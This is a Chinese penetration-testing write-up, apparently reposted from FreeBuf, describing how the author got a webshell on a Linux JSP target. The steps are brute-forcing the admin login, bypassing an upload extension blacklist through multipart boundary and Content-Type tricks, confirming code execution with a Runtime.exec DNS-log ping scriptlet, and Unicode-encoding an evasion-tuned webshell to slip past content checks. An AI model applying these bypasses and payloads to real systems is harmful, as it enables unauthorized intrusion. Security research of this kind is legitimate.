前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >某次攻防文件上传绕过-getshell

某次攻防文件上传绕过-getshell

作者头像
FB客服
发布2021-05-20 16:31:10
2K0
发布2021-05-20 16:31:10
举报
文章被收录于专栏:FreeBufFreeBuf

目标环境

Linux

jsp

黑名单

前言

通过读取js文件,发现后台。然后查看用户名规则,进行爆破。最开始爆破一个,提示已过期,然后根据长度规则,特定去尝试。爆破出一个,然后进行文件上传。

文件上传过程

后缀黑名单绕过方式:

代码语言:javascript
复制
boundary=    ----WebKitFormxxxxx

疑惑点

上传图片,正常访问。 上传html,正常访问。 上传图片,改名为jsp绕过后无法访问。 继续测试,改名为jspx也是无法访问。 图片上传处有两个按钮,一个是查看,一个是下载。 jsp访问是404 但是可以正常下载。这里猜测应该是上传成功,但是存在内容检查。

内容检测绕过

过程1

上传图片,改名jsp —-404 这个时候就很疑惑。不知道为啥会这样, 难道是后缀和Content-Type不匹配的问题。

代码语言:javascript
复制
jpg:
image/jpeg
jsp:
application/octet-stream

尝试修改Content-Type,上传成功,下载成功。访问404

过程2

没有遇到过,不知为啥会这样,陷入沉思。难道是内容+Content-Type+后缀匹配才能正常解析访问。继续fuzz。

修改如下:

代码语言:javascript
复制
filename:"1.jsp"
Content-Type:application/octet-stream
内容:<% out.println ("helloworld"); %>

上传成功。下载正常,访问404

过程3

感觉没有思路,沉思一会,想起来目标一定是有防护的。后缀一定是绕过去。那么有问题的一定是内容检测。想起来,以前jsp内容绕过的时候,一般都会对jsp中的%进行检测。

修改一下上传内容

代码语言:javascript
复制
filename:jsp
Content-Type:application/octet-stream
内容:out.println ("helloworld")

激动,终于可以访问jsp。离成功又近一步。

过程4

心里想着,只要上传不带%%的jsp码就可以了。找到之前不带%号的码,成功上传。激动了。下载正常,访问404!这……难道是不免杀的问题。这里难过了。自己不会写这种不带%的码子,这可怎么办。继续思考: 是不是函数被查杀。fuzz一下可以用函数。java中,当然首选RunTime.getRuntime().exec()命令执行试试。

又一次上传

代码语言:javascript
复制
filename:jsp
Content-Type:application/octet-stream
内容:
<jsp:scriptlet>
Runtime.getRuntime().exec("ping dnslog");
<jsp:scriptlet>

尝试dnslog是不是可以收到。发现可以收到。

目标又是linux是不是就可以反弹了。利用bash。卒.

过程5

看到路了,不过好像又不是路。知识不够,不知道怎么继续下一步了。沉思一会,还是继续从马的方向入手。一定是可以绕过的。只不过需要找到目标查杀方式。不过难点是利用,对这个更是不懂。现学可能不够用,放一下。

继续fuzz内容:

在一次无意中测试,发现带%号也可以正常访问。一机灵, 原来不是%检测。那就方便多了。

进行jsp免杀马的测试,发现正常本地可以免杀的马,上传之后就404。难道是内容长度太长了。但是小马都无法访问。继续思考,之前上传成功是利用,然后内容是利用unicode编码才可以成功。虽然感觉不是对%号检测,但是内容用unicode应该可以绕过。

过程6-成功

JSP Unicode解析特性 在JSP文件中,在除开头部声明处,其他的代码内容均可以使用Unicode代码进行替换 https://docs.oracle.com/javase/specs/jls/se8/html/jls-3.html#jls-UnicodeEscape

免杀马制作

先正常的免杀马,然后进行unicode编码。这里需要先看一下上面unicode特性。然后利用了Eclipse中编码。编码不对会报错。很方便。

编码后上传,下载正常,访问正常。命令执行尝试。

但是利用webshell进行连接的时候,发现无法连接。有点好奇。因为习惯,马生成的时候,本地都会继续测试,本地都是可以正常连接的。思考了一下,可能是流量特征,用的都是原生的。这里看百度改了一下webshell管理工具的一些特征。发现也无法连接。不知道是不是unicode编码的问题。

后续

免杀马不好整,这里测试了一下哥斯拉和冰蝎马的unicode编码后。发现哥斯拉unicode编码后,也可以上传成功,可以访问,也是存在连接不了的问题。(未解决)

整体思路

1.根据用户名规则进行爆破。

2.文件上传后缀+内容绕过。

3.耗时一天~~~~

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-05-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 目标环境
  • 前言
  • 文件上传过程
  • 疑惑点
  • 内容检测绕过
    • 过程1
      • 过程2
        • 过程3
          • 过程4
            • 过程5
              • 过程6-成功
              • 后续
              • 整体思路
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档